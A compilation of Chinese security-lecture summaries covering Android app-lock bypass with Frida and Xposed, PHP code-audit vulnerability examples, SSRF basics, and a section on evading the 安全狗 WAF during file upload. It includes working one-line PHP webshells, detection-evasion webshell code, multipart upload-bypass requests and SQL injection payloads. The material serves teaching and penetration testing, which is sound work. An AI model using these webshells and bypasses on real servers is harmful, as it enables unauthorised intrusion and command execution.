
  “大咖面对面”分享汇总 1~14 期


  来源：http://mp.weixin.qq.com/s/d10HXTmJrhKhYY7iCf7a3Q


  第一期：APP安全测试案例解析


  

     


  今天要跟大家分享的是APP安全测试方面的技巧。


  有时候想要分析一个app，看别人是怎么写的，学习别人优秀的技巧，我觉得这是比较好的方式。动手实践，分析总结，能比较快的掌握知识，碰到问题，解决问题，这样才可以提升。今天也是我提升的一个机会。


  谈到APP测试，比较容易找到的资料是，抓包。抓包有多种方法，比如使用tcpdump抓包，或者如果我们比较关心http的流量时，可以使用fiddler或者burpsuite来抓取http数据包，要抓取https的数据包，安装好证书，配置好代理。这是比较简单的情况，更多的情况，我们需要反编译，查看代码的逻辑才能知道具体的操作。


  如果大家方便的话，可以先准备好测试环境。


  首先，我向大家提出一个问题：一个解锁app，如何进行测试？


  

  不知道大家玩过魔方没有。有一种想法是，可以造个机械手，在这里狂按键，总归可以按找到密码。这个时候，我就想到有一个关于加密的神图。


  

  这里我们先介绍一种最暴力的方法，字典攻击。


  

  在线字典攻击


  这里我们的思路是，有没有办法调用检测函数，不停地进行检测呢？刚才提到的机械手点击也是这种方式里面的一种。这种方法的成本有点高，难度也有点大。那如果这样，我们自己用手来点击来点击呢？估计要密码破解出来的时候，屏幕都坏了。


  那再想一想，我们能不能使用更多的算力。比如，我雇几个人来做这件事，算力就分开了，再或者，我们把任务放到网上，利用网络的力量，那就分布式破解了。但这个说的有点远了。


  


  那接下来我们先看一看程序。dex2jar反编译程序，使用jd-gui查看


  

  通过分析，发现这边是程序处理对应密码检测功能的函数。可以看到checkPasscode，会对输入值进行hash，然后跟密码hash进行对比，返回登录成功或失败。


  


  介绍一下工具：Frida


  下载网址：http://www.frida.re/


  frida可以动态注入javascript代码到指定进程中，跨平台，所以android也可以使用。可以hook函数，监控api，功能强大。


  



  测试环境需要使用arm架构的虚拟机，这里推荐android原生虚拟机，本次测试使用的是android4.4.2版本虚拟机。


  

  cpu/ abi arm



  

  ddms可以查看虚拟机相关内容了


  

  虚拟机已经开启


  

  安装好frida


  

  将frida-serverpush到模拟器，修改权限，并启动


  

  查看是否配置好环境，运行python fr.py ,进行攻击。


  

  可以看到开始进行了。我们的空间是0000到9999，总共10000的测试空间。一段时间之后，我们的结果出现了，返回为true。


  

  我们使用这个密码进行测试


  

  这个是我这边设置的密码，每个人设置的不一样，结果不一样


  登陆成功


  

  看一下代码



  

  可以看到，使用Java.use获取类com.github.orangegangsters.lollipin.lib.managers.LockManager的javascript封装，后续可以进行操作。最终我们可以通过AppLock调用到checkPasscode函数，这样我们就完成了对指定app的指定函数的调用了。在这里，可以遍历爆破检测了。


  离线爆破检测


  在线爆破检测有个问题，就是如果有次数限制，测试超过了，就会出现问题。还有一种办法，就是我们找到加密功能，把hash提取出来，本地离线计算，从字典空间0000跑到9999，这样就没有次数限制，直到计算出指定的hash 。


  Hash值替换


  

  观察程序，发现密码hash值写到文件中了，我们能否计算一个指定的hash值，然后替换掉hash文件，这样我们就可以使用自己设置的密码登录进去了。


  这里使用另外一个hook框架xposed，可谓神器


  

  左边即为xposed框架。Xposed属于动态劫持，替换/system/bin/app_process程序，最终控制zygote进程，app_process启动时，会加载posedBridge.jar，会劫持zygote进程。


  Zygote进程启动时创建Dalvik虚拟机实例，每当创建一个新的应用程序进程时，都会将Dalvik虚拟机复制到新的应用程序中。由zygote进程得到的应用程序，会获得zygote进程的Dalvik虚拟机实例拷贝，还会共享Java运行时库，这样XposedBridge就可以加载到每个app中，利用java反射机制对函数进行hook。这个是xposed的原理。


  这里我们想要获取加密函数的返回值，分析代码


  

  在Encryptor类里面的getSHA1函数中进行计算，这样我们对这个函数进行hook，获取其输入和输出。


  这边是我写好的代码


  

  hook getSHA1函数


  beforeHookedMethod 对函数参数进行输出


  

  afterHookedMethod对返回结果进行输出


  

  主要完成beforeHookedMethod和afterHookedMethod函数的实现


  



  编译，安装到虚拟机中，启用我们刚才编写的模块，重启，打勾。


  

  输入一个密码，查看xposed日志


  

  这里我们可以看到我们刚才输入的密码和对应的hash，这样我们完成了对函数的劫持。


  我们将密码文件拉回来


  

  frida使用的是原生arm架构的模拟器，xposed使用的是第3方可root的模拟器。对比一下，发现和我们得到的hash不一样，将hash值替换掉，文件推上去，覆盖掉原来的文件。


  

  再次测试，发现我们刚才输入的密码之前不能登录成功，但是现在可以登录成功了。


  除了这些方法，我们还有没有其他方法呢？


  我们想既然能hook函数，那能否实现，任意输入都能通过密码测试呢？


  有办法。


  既然前面讲了Xposed，我们继续。我的想法是，替换函数，或者修改函数的返回值，让每次输入都返回true,这样就能任意输入了。


  看代码：


  

  比较hash，返回true or false.


  这次换一个函数进行hook


  

  AppLockImpl类的checkPasscode函数


  

  看一看afterHookedMethod，我们将增加一行代码，将返回值设置为true，这样无论我们输入什么密码，最终检测完，返回的都是正确。


  重复上面的过程，等待程序安装好，重启，输入任意的密码，看看是什么效果。xposed测试成功。


  我们换到前面的神器frida，同样的方式，我们还可以用frida来hook替换掉函数，大家可以试一试。


  

  我们使用fr2.py来测试，这个是代码部分


  

  输入任意的密码，看是什么效果，代码大家自己分析一下。


  


  前面提到的2种方式，大家可以根据自己个人喜好来选择。


  有朋友提到使用burp抓包，我说一种情况。在我们测试某些APP时，存在请求签名的情况，这样我们修改请求之后，就无法通过服务端的检测，也就无法达到测试深度。注入xss越权等也无法测试了。


  不知道经过前面的讲解，有没有人想到方法了？这里我们可以找到app的加密函数，利用frida调用加密函数，完成任意内容的加密；如果底层不好找，可以找上层的接口。


  比如，我们可以找到发送请求的函数，因为一般加密是透明加密，所以上层发包函数可以传参数过去，这样也可以发送任意请求


  

  这里我们就主动调用发包函数，主动加密。


  还有一种加密流量的情况，整个流量是加密的，不解密你无法查看，burp抓到的都是密文，看不到明文。这个时候，就需要找到APP的加解密函数，调用或者自己实现对应加解密功能。


  可以尝试使用mitmproxy来做，自定义脚本，完成动态的加解密，请求的替换。


  

  mitmproxy的一种方式


  

  这边是我测试的一个app，自动log密文和对应的明文，动态修改，返回测试。这样就方便多了。


  

  行长问答


  

  Q：请问大咖，学APP你建议看哪些书呢？


  A：看你的方向了，这本就不错


  

  Q：现在一般企业都招APP反编译的，入门怎样学比较好？很多都是web端测试的


  A：建议你先掌握一点app开发的技巧，然后找一本app安全的书，对着啃一本，啃下来，会有收获的。


  Q：请问不懂java这语言，要怎么学勒……


  A：不懂java的话，还是需要你做一些基础的学习


  



  Q：frida-service这个文件在那里？我安装过后没有这个文件


  

  A：你需要图里的这个链接


  http://build.frida.re/frida/android/arm/bin/frida-server


  

  Q：如果看到非常用加密或者说是公司的加密，有什么思路吗？


  A：这个要反编译查看算法，还有可能是写到so文件里面去了，那种情况就比较底层了


  Q：自学php代码审计的话您能推荐一些教材吗，比如书籍视频之类的


  A：建议你分析目前能看到的各种php代码漏洞的分析报告，自己分析一遍，总结差异，然后想自己用什么方法能找到。


  Q：经常看到反编译后源码没一句注释，变量名全是abcdefg


  A：这种是混淆了


  Q：还有些会对源码进行混淆，这种情况比较麻烦吧


  A：对的，有的有混淆，有的有加固，这种弄起来比较费劲；混没混淆这个反编译出来就知道了


  



  Q：大咖我也是一名app安全的爱好者，可是感觉自己的水平总是连入门都达不到。平时挖的都是一些抓包改包的简单逻辑漏洞，对于我这种情况想要进一步提升水平有什么值得推荐的好方法吗？


  A：掌握一些android开发的基础，比如开发个helloworld，然后找一本书，对着常规的app相关漏洞的方法进行测试


  Q：大咖，我想问一下自学编程怎样能提高效率吗？总感觉没效率


  A：什么类的编程？


  Q：php


  A：你要有目标，不能一直看语法，比如你想实现一个什么功能，去实现。再看个什么功能，再实现，写的多了，就会提升


  



  Q：adbshell返回的是error:deviceoffline怎么办？


  A：这个是模拟器掉线了，


  你adbkill-serveradbstart-serveradbshell看看能不能连上，如果还连不上的话，adbkill-server重启模拟器


  第二期：PHP代码审计基础


  

  大咖分享


  今天分享一下我学习代码审计的一点经验，希望跟大家共同进步。


  我们今天的主角是“世界上最好的语言”——PHP


  

  PHP由于使用广泛，入门简单，主要适用于Web开发领域。


  


  一般情况下，测试时黑盒的情况比较多。有时我们获取到源码后，如果有代码审计基础就可以进行比较全面的测试，使渗透效率更高。


  


  PHP静态代码审计分几个阶段，


  2007-2009 正则表达式


  2009-2012 借助词法分析，主要处理面向过程的代码部分


  2012-2016 借助语法分析，抽象语法树AST，代码段，可以分析面向对象代码


  基本概念：危险函数、用户输入


  这里的漏洞定义可以这样来理解：用户输入经过各种操作，最终进入到危险函数，以危险的方式成功执行。


  用户输入是指GPCSF、数据库、文件等可能输入的点，危险函数如include，system等，当用户输入进到函数里面，并且要是以危险的方式执行，比如转义了，或者过滤了，这样就不能成功了。


  大家了解到这个基本的概念之后，对后面的案例例假起来就会比较清晰了。


  我对于PHP学习方法的理解：


  简单来说就是多分析，多思考。在这里不得不提一套比较好的学习漏洞原理的教程——dvwa。对于初学者，可以以dvwa为案例，分析漏洞原理。掌握漏洞原理之后，对渗透测试的理解也会更深刻。


  

  它是类型比较多，左边列出的类型基本是常用类型。


  


  今天主要是讲人工审计，知道原理之后，大家可以借助工具进行分析。


  如果大家还记得前面的漏洞的定义的话，就可以知道，这里是有2条路可以走的。


  

  可以正向，可以逆向。


  正着走，就是跟踪用户可控的输入，比如看到一个GET参数，跟踪这个参数最终是到哪一步了，是否进入到危险函数中，以危险的方式执行了。


  那么逆着走呢？先找到危险函数，逆着看进入到这个函数的参数是否可控，一路找到来源，最终判断输入点。


  中间分析的时候，需要留意一些过滤处理。


  


  不同的人分析方式不一样，我比较喜欢大致浏览一下程序的架构，是否使用框架，MVC，是否有通用过滤等，这些都是需要考虑的。要不然，当你满心欢喜地发现，一个GET参数，没有经过过滤函数，直接进入到mysql_query函数，为什么就没有注入呢。


  你看了一遍又一遍，甚至开始怀疑人生。


  但分析过的人就会知道。


  


  闲话少说，言归正传。让我们先看一看原理。


  


  拿到一份源码应该如何开始审计呢？新手刚拿到一份源码一定很头疼，不知道该如何下手。首先你应该弄懂这套源码的结构，了解系统的源码怎么分布的，找到其中的关键文件代码。


  

  往往一些库文件都会放到include这个文件夹里。


  

  下面这些文件一定要特别注意的：


  函数集文件：命名中包含functions, common等关键字。


  配置文件：命名中包含config关键字


  安全过滤文件：filter, safe ,check


  index文件:程序的入口文件


  1.


  >>>XSS<<<


  我们先来分析一下最常见的XSS漏洞：基本的XSS分为反射型和存储型，挖掘XSS漏洞的关键就在于寻找没有过滤且被输出的参数。


  先上代码：


  

  可以看到，对着我们的漏洞定义来分析，


  用户输入：$_GET[‘name’]


  危险函数：echo


  危险的执行：用户输入没有经过过滤函数，同时在函数执行时也没有相应的过滤和转义，直接输出到html代码中造成xss漏洞。


  了解这个方式之后，就是找用户可控输入和危险函数了。


  常用的输出函数有：print, print_r, echo, printf, sprintf, die, var_dump, var_export。我们寻找这些输出函数就可以来挖掘XSS漏洞。


  


  我们来看一个案例，大米CMS 的存储型XSS。漏洞点在留言区这里。先来看下源码，我们发现ip参数没有经过转义，直接进行了输出


  

  然后看下 get_client_ip() 这个函数


  函数的位置在这里\DaMiCMS\Core\Common\functions.php


  这是一个比较常见的取ip的函数


  

  Header头可控，并没有过滤任何xss 字符，可以伪造 IP，构造 payload 。效果如下：


  

  成功触发。


  感兴趣的话可以分析wordpress之前的几个xss，构造精巧。


  2.


  >>>SQLi<<<


  先看一段代码：


  

  对着我们的定义再次分析，


  用户输入：$_REQUEST[‘id’]


  危险函数：mysql_query


  危险的执行：用户的输入最终可以直接当作代码执行，没有任何转义和过滤


  结果：SQL注入


  

  这就是我们测试时使用单引号造成报错的情况，了解原理，渗透到时候也可以用得上。也能够知道我们为什么要输入单引号，知道这样在后端是怎么执行的。


  这里看个案例，海洋cms，漏洞位置在 根目录下的 ./i.php 文件。先来看下位置：


  

  再来跟下 GetIP() 这个函数，取法大同小异：


  

  这里 ip 可以伪造，构造一个payload ，测试如下：


  

  感觉ip这里非常容易被忽略掉，不少cms都有这个问题。


  


  这里讲一个宽字节注入：


  

  如果直接在id后面加单引号会被转义，不能和前面的单引号闭合


  

  第七行使用了addslashes()函数进行过滤


  如果这时我们输入%df%27，


  

  %df%27经过addslash后，变成%df%5c%27，而GBK的字符集范围为8140-FEFE，DF5C 在这个范围内，会被结合，这样就出来一个引号，截断数据，造成注入。


  


  下面再来看一个案例：TCCMS COOKIE注入


  

  这里看到userId参数直接拼接到SQL语句中，后续进行执行，产生注入。


  这种属于套路比较少的点。


  3.


  >>>文件包含<<<


  再来看文件包含漏洞，这个大家应该也有所了解


  可用于文件包含的函数有 include(), include_once(), require(), require_once()


  

  审计时寻找关键函数 include(), include_once(),require(), require_once()


  这里举个文件包含漏洞，dedecms V5.7 漏洞位置在 /dede/article_template_rand.php


  

  这里没有任何校验，直接 require_once 。


  而 $m_file = DEDEDATA.'/template.rand.php';


  理下思路，就是说，article_template_rand.php处编辑文件写入一段php代码，就可以执行了，写个 phpinfo() 测试一下


  

  可以执行


  

  文件操作类漏洞，寻找跟文件操作有关的函数


  file_get_contents(), highlight_file(), fopen(), readfile(), fread(), fgetss(), fgets(), parse_ini_file(), show_source(), file()等


  


  文件删除漏洞常用函数unlink() 老版本下session_destroy()函数也可以用于删除文件


  这里举一个yxcms任意删除的例子


  http://10.211.55.3/Yxcms/index.php?r=admin/set/tplist&Mname=default


  这里是一个管理前台模板的页面（上面一行是我自己加的代码，输出了文件路径）


  

  这里有一个删除的功能，查看代码，发现对unlink()没有任何的过滤


  

  这样的话就可以抓包，删除任意文件


  

  4.


  >>>命令执行漏洞<<<


  可以执行命令的函数有system(), exec(), shell_exec(), passthru(), pcntl_exec(), popeb(), proc_open() 反引号（`）也可以调用shell_exec()函数进行命令执行


  

  执行命令


  

  5.


  >>>变量覆盖<<<


  变量覆盖指的是可以用我们自定义的参数值替换原有的变量值，常见的引发变量覆盖漏洞的函数有extract()和parse_str()，还有一种利用$$的方式注册变量没验证已有变量导致变量覆盖的情况也有发生。


  挖掘方式依然是搜寻参数带有变量的extract(),parse_str()函数


  


  extract()是由第二个参数决定是否会覆盖变量。


  测试代码：


  

  测试结果如图


  

  原本变量$b的值为3，经过extract()函数对变量$a处理后，变量$b的值被成功覆盖为了1


  parse_str()函数的作用是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否已经存在，所以会直接覆盖掉已有变量。


  测试代码：


  

  结果：


  

  可以看到变量$b原有的值1被覆盖成了2。


  


  实际案例


  EasyTalk遍历覆盖漏洞


  

  执行的语句：


  update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'


  传入的参数：


  urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw==
Base64decode: urldata=user_id=1' and 1=1#


  执行效果：


  

  变量覆盖这种通常需要结合其他漏洞才能发挥作用。


  

  导致问题的代码如上，利用代码


  

  变量流动情况


  

  $type没有初始化定义，进入了查询


  

  结合实际案例讲了几个漏洞的原理，关键点是：用户输入，危险函数，危险方式执行。


  


  最后分享一个简单的小工具：【匹配审计wordpress插件的脚本】，处于2007-2009阶段


  


  还有一种分析方式，就是对比补丁。查看cms最新的补丁，跟原来的版本进行对比，查看修复漏洞的情况。这里推荐一个工具beyond compare。


  


  大家可以使用这个原理人肉追踪数据流，祝大家找到漏洞，今天我分享的部分就到此结束了。


  行长问答


  Q：我对php 不了解，但代码基本上也能大致看懂。我就想问一下，定位函数的时候，头文件会不会加载使用函数的那个文件？


  A1：不一定，因为这个函数可能已经加载了。


  A2：搜索这些东西 其实了解php的语法就行了。


  A3：那本企业级代码审计不错，学PHP审计强烈推荐。


  A4：其实我个人是这么建议，基础还是要有的，对于要想成为高手，还是要靠自己的学习态度。审计最多也是讲解基础的，一般不会讲解很深。个人建议法师这本审计代码不错的。


  Q：请问大咖，你有没有过比较复杂的审计经历？


  A1：分析joomla rce时，主要是PHP SESSION反序列化造成的漏洞。当时对php反序列化不是很了解，查看了很多资料，最终能够手工反序列化，这块的原理就学的比较清楚了，后续类似的漏洞都可以分析了。


  


  Q：你说的这些可以用哪些工具能搞定？


  A1：seay的工具，以及rips


  A2：做php代码审计 notepad++ sublime必不可少。加上 seay的静态分析、源代码审计工具。notepad++可以方便对比版本信息，sublime可以安装一些插件，seay的作用就不用多说了。


  


  Q：你说的这些我都没用过seay的工具我倒听过，不过我是用linux系统的，win这块只接触过。


  A1：可以用虚拟机，或者自写脚本。seay的主要是正则表达式


  A2：linux可以用grep:，而且现在的web也有php审计的一些程序了，可以去github上看看。


  


  Q：请问kali能不能这么玩？


  A1：kali属于可以Linux可以安装一些代码审计的工具达到代码审计的目的。


  第三期：浅析宽字节注入（视频）


  http://www.bugbank.cn/q/detail/58afac2c6727075d2cea42d3.html


  第四期：Web安全基础（PPT）


  本期【行长连线之大咖面对面】活动介绍


  



  本期议题：Web安全基础



  本期演讲大咖：枕边月亮


  讲座时间：2016年12月22日晚7：00


  讲座地点：漏洞银行官方技术1群（477761459）


  大咖自我介绍：


  枕边月亮，四川高校信息安全在读大学生，i春秋签约作家。


  主要方向：渗透测试，Web安全，活跃于各种线上线下CTF赛事。    


  近期研究数据分析，电子取证。


  所属团队：西南高校信安联盟、信息安全实验室、PKWsec。


  选择学习信息安全的初衷是兴趣的驱使，从事信息安全是对维护网络安全的向往。


  不忘初心，方得始终。希望本次交流能够互相学习进步。


  


  注：


  讲座问答环节的内容已记录在讲座视频中。讲座视频已上传【漏洞银行官方技术1群】群文件，欢迎有需要的小伙伴下载。


  


  


  
    	大咖分享内容
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  第四期：Web安全基础（视频）


  http://www.bugbank.cn/q/detail/58afa1656ef394d12a8a4343.html


  第五期：Metasploitable3专题课程（PPT）


  本期【行长连线之大咖面对面】活动介绍


  


  


  本期议题：Metasploitable3专题课程



  本期演讲大咖：Demon


  讲座时间：2016年12月29日 19:00


  讲座地点：漏洞银行官方技术1群（477761459）


  大咖介绍：


  即刻安全团队核心成员。对 metaspolit 以及 黑苹果 比较擅长。目前正深入学习有关 web渗透 方面的内容。平时会在 i春秋 以及团队博客更新一些技术类文章。


  同时也希望借助这次的课程能抛砖引玉，给各位带来不一样的思路


  


  注：


  讲座直播的问答环节内容已整理在PPT中。


  


  


  大咖分享内容
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  第五期：Metasploitable3专题课程（视频）


  http://www.bugbank.cn/q/detail/58afa1656ef394d12a8a4343.html


  第六期：Webshell提权服务器登录（PPT）


  本期【行长连线之大咖面对面】活动介绍


  


  



  本期议题：Webshell提权服务器登录



  本期演讲大咖：危险漫步


  讲座时间：2016年1月5日 晚19：00


  讲座地点：漏洞银行官方技术1群（477761459）


  大咖介绍：


  主要擅长黑客技术原理研究及思考，主攻渗透测试及网站安全维护，偶尔也研究网站运营，搜索引擎原理，很少和业内沟通及交流；


  新鲜的“黑客思维”就是从全新的角度看待黑客技术，从更高的层面去思考。


  个人博客：危险漫步博客。http://www.weixianmanbu.com



  


  注：


  讲座问答环节的内容已记录在讲座视频中。讲座视频已上传【漏洞银行官方技术1群】群文件，欢迎有需要的小伙伴下载。


  



  



  大咖分享内容
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  第六期：Webshell提权服务器登录（视频）


  http://www.bugbank.cn/q/detail/58afa0bf6ef394d12a8a4341.html


  第七期：Hack some Windows with MSF & Unicorn（视频）


  http://www.bugbank.cn/q/detail/58af9bce6727075d2cea42bb.html


  第八期：浅谈当代安全验证问题（视频）


  http://www.bugbank.cn/q/detail/58af9c636ef394d12a8a4334.html


  第九期：安全狗上传绕过+webshell免杀


  



  作者：ian


  //此文章将乌云等地方发布的安全狗漏洞，来进行研究及其分析，总结而成。截止到今天的时间是2017年2月3日（丁酉鸡年壬寅月 辛酉日）
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  一：上传绕过


  [image: ]


  如图，当我们上传一个内容为


  <?php


  Phpinfo();


  ?>


  文件名为yjh.php的时候，安全狗会自动提示并拦截。


  绕过思路：对文件的内容，数据。数据包进行处理。


  ①


  关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"


  将form-data; 修改为~form-data;


  [image: ]


  ②


  通过替换大小写来进行绕过


  Content-Disposition: form-data; name="file"; filename="yjh.php"


  Content-Type: application/octet-stream


  将Content-Disposition 修改为content-Disposition


  将 form-data 修改为Form-data


  将 Content-Type 修改为content-Type


  都可以进行绕过，如图：


  [image: ]


  ③


  通过删减空格来进行绕过


  Content-Disposition: form-data; name="file"; filename="yjh.php"


  Content-Type: application/octet-stream


  将Content-Disposition: form-data 冒号后面 增加或减少一个空格


  将form-data; name="file"; 分号后面 增加或减少一个空格


  将 Content-Type: application/octet-stream 冒号后面 增加一个空格


  如图：


  [image: ]


  ④


  看Content-Disposition: form-data; name="file"; filename="yjh3.php"


  将 form-data 修改为 f+orm-data


  将 from-data 修改为 form-d+ata


  [image: ]


  ⑤


  双文件上传


  先看我们的源代码


  
    
      
        	
          

        

        	
          <html>

        
      


      
        	
          

        

        	
          <head>

        
      


      
        	
          

        

        	
          <meta  charset="utf-8">

        
      


      
        	
          

        

        	
          <title>菜鸟教程(runoob.com)</title>

        
      


      
        	
          

        

        	
          </head>

        
      


      
        	
          

        

        	
          <body>

        
      


      
        	
          

        

        	
          

        
      


      
        	
          

        

        	
          <form  action="upload_file.php" method="post" enctype="multipart/form-data">

        
      


      
        	
          

        

        	
          <label for="file">文件名：</label>

        
      


      
        	
          

        

        	
          <input type="file"  name="file" id="file"><br>

        
      


      
        	
          

        

        	
          <input type="submit"  name="submit" value="提交">

        
      


      
        	
          

        

        	
          </form>

        
      


      
        	
          

        

        	
          

        
      


      
        	
          

        

        	
          </body>

        
      


      
        	
          

        

        	
          </html>

        
      

    
  


  只需要再添加一个input


  
    
      
        	
          

        

        	
          <html>

        
      


      
        	
          

        

        	
          <head>

        
      


      
        	
          

        

        	
          <meta  charset="utf-8">

        
      


      
        	
          

        

        	
          <title>菜鸟教程(runoob.com)</title>

        
      


      
        	
          

        

        	
          </head>

        
      


      
        	
          

        

        	
          <body>

        
      


      
        	
          

        

        	
          

        
      


      
        	
          

        

        	
          <form  action="upload_file.php" method="post"  enctype="multipart/form-data">

        
      


      
        	
          

        

        	
          <label for="file">文件名：</label>

        
      


      
        	
          

        

        	
          <input type="file"  name="file" id="file"><br>

        
      


      
        	
          

        

        	
          <input type="submit"  name="submit" value="提交">

        
      


      
        	
          

        

        	
          </form>

        
      


      
        	
          

        

        	
          

        
      


      
        	
          

        

        	
          </body>

        
      


      
        	
          

        

        	
          </html>

        
      

    
  


  则提交代码如下


  POST /upload_file.php HTTP/1.1


  Host: 127.0.0.1


  Content-Length: 478


  Cache-Control: max-age=0


  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8


  Origin: http://127.0.0.1


  Upgrade-Insecure-Requests: 1


  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36


  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHjqy5F7Gj5xAGYBG


  Referer: http://127.0.0.1/form.html


  Accept-Encoding: gzip, deflate


  Accept-Language: zh-CN,zh;q=0.8


  Cookie: safedog-flow-item=


  Connection: close


  ------WebKitFormBoundaryHjqy5F7Gj5xAGYBG


  Content-Disposition: form-data; name="file"; filename="Y%2)X]WFOVR)3V1EM$9$W4R.png"


  Content-Type: image/png


  112233 //此处省略n个字符，因为安全狗会识别jpg，png文件的大小 此处就省略了。


  ------WebKitFormBoundaryHjqy5F7Gj5xAGYBG


  Content-Disposition: form-data; name="file"; filename="ian.php"


  Content-Type: application/octet-stream


  <?php


  phpinfo();


  ?>


  ------WebKitFormBoundaryHjqy5F7Gj5xAGYBG


  Content-Disposition: form-data; name="submit"


  æ��äº¤


  ------WebKitFormBoundaryHjqy5F7Gj5xAGYBG--
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  ⑥


  Content-Disposition: form-data; name="file"; filename="yjh.php"


  先来看这一部分代码


  我们通过替换form-data 为*来绕过


  Content-Disposition: *; name="file"; filename="yjh.php"


  [image: ]


  ⑦


  将Content-Disposition: form-data; name="file"; filename="yjh.php"


  中间加上n个任意字母，也可以达到绕过的效果。不过小编暂时没有测试成功。


  ⑧


  修改编码绕过


  二：webshell免杀


  原理：避免出现eval，assert等类似的关键字，来进行编写webshell


  ①


  file_get_contents函数


  PHPfile_get_contents()函数


  定义和用法


  file_get_contents() 把整个文件读入一个字符串中。


  该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持，还会使用内存映射技术来增强性能。


  


  类似函数：fopen() 函数打开一个文件或 URL。区别是fopen()打开网页后，返回的不是字符串，不能直输出的，还需要用到fgets()这个函数来获取字符串。fgets()函数是从文件指针中读取一行。文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。


  相关函数：file_put_contents() 函数把一个字符串写入文件中。


  语法


  file_get_contents(path,include_path,context,start,max_length) 


  


  
    
      
        	
          参数

        

        	
          描述

        
      


      
        	
          path

        

        	
          必需。规定要读取的文件，或者url。

        
      


      
        	
          include_path

        

        	
          可选。如果您还想在 include_path（在 php.ini 中）中搜索文件的话，请设置该参数为 '1'。

        
      


      
        	
          context

        

        	
          可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL，则忽略。

        
      


      
        	
          start

        

        	
          可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。

        
      


      
        	
          max_length

        

        	
          可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

        
      

    
  


  <?php


  $str = file_get_contents('http://127.0.0.1/ian.txt');


  $str($_post['ian']);


  ?>


  //以上为post请求


  /*


  如果是get请求的话可换为$_REQUEST


  */


  ian.txt里面的内容


  eval 或者system 或者assert


  ②


  System函数


  <? @system($_GET['cmcc']);?>


  第九期：安全狗上传绕过+webshell免杀（PPT）


  



  本期【行长连线之大咖面对面】活动介绍


  


  本期议题：安全狗上传绕过+webshell免杀



  本期演讲大咖：ian


  讲座时间：2016年2月10日 晚19：00


  讲座地点：漏洞银行官方技术1群（477761459）


  大咖介绍：


  


  所在团队：零组安全团队，科拉实验室成员。


  博客www.0-sec.org, blog.cora-lab.org/


  



  注：


  讲座问答环节的内容已记录在讲座视频中。讲座视频已上传【漏洞银行官方技术1群】群文件，欢迎有需要的小伙伴下载。


  


  


  大咖分享内容
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  第九期：安全狗上传绕过+webshell免杀（视频）


  http://www.bugbank.cn/q/detail/58a5119761cb3d45311a9f00.html


  第十期：浅谈SSRF安全漏洞


  SSRF概述


  SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）


  SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。


  SSRF 漏洞的寻找


  一、从WEB功能上寻找


  我们从上面的概述可以看出，SSRF是由于服务端获取其他服务器的相关信息的功能中形成的，因此我们大可以列举几种在web 应用中常见的从服务端获取其他服务器信息的的功能。


  1）分享：通过URL地址分享网页内容


  早期分享应用中，为了更好的提供用户体验，WEB应用在分享功能中，通常会获取目标URL地址网页内容中的<tilte></title>标签或者<meta name="description" content=“”/>标签中content的文本内容作为显示以提供更好的用户体验。例如人人网分享功能中：


  


  [image: ]


  


  
    
      
        	
          1

        

        	
          http://widget.renren.com/*****?resourceUrl=https://www.sobug.com

        
      

    
  


  


  通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。


  根寻这个功能，我们可以发现许多互联网公司都有着这样的功能，下面是我从百度分享集成的截图如下：


  


  [image: ]


  


  从国内某漏洞提交平台上提交的SSRF漏洞，可以发现包括淘宝、百度、新浪等国内知名公司都曾被发现过分享功能上存在SSRF的漏洞问题。


  2）转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览


  由于手机屏幕大小的关系，直接浏览网页内容的时候会造成许多不便，因此有些公司提供了转码功能，把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。


  3）在线翻译：通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等


  4）图片加载与下载：通过URL地址加载或下载图片


  图片加载远程图片地址此功能用到的地方很多，但大多都是比较隐秘，比如在有些公司中的加载自家图片服务器上的图片用于展示。（此处可能会有人有疑问，为什么加载图片服务器上的图片也会有问题，直接使用img标签不就好了？ ，没错是这样，但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等，所以就可能造成SSRF问题）。


  5）图片、文章收藏功能


  此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示，目的还是为了更好的用户体验，而图片收藏就类似于功能四、图片加载。


  6）未公开的api实现以及其他调用URL的功能


  此处类似的功能有360提供的网站评分，以及有些网站通过api获取远程地址xml文件来加载内容。


  


  在这些功能中除了翻译和转码服务为公共服务，其他功能均有可能在企业应用开发过程中遇到。


  二、从URL关键字中寻找


  在对功能上存在SSRF漏洞中URL地址特征的观察，通过我一段时间的收集，大致有以下关键字:
  


  
    
      
        	
          1


          2


          3


          4


          5


          6


          7


          8


          9


          10


          11


          12


          13


          14

        

        	
          share


          wap


          url


          link


          src


          source


          target


          u


          3g


          display


          sourceURl


          imageURL


          domain


          ...

        
      

    
  


  
 如果利用google 语法加上这些关键字去寻找SSRF漏洞，耐心的验证，现在还是可以找到存在的SSRF漏洞。


  SSRF 漏洞的验证


  1）基本判断（排除法）


  例如：  


  
    
      
        	
          1

        

        	
          http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

        
      

    
  


  排除法一：


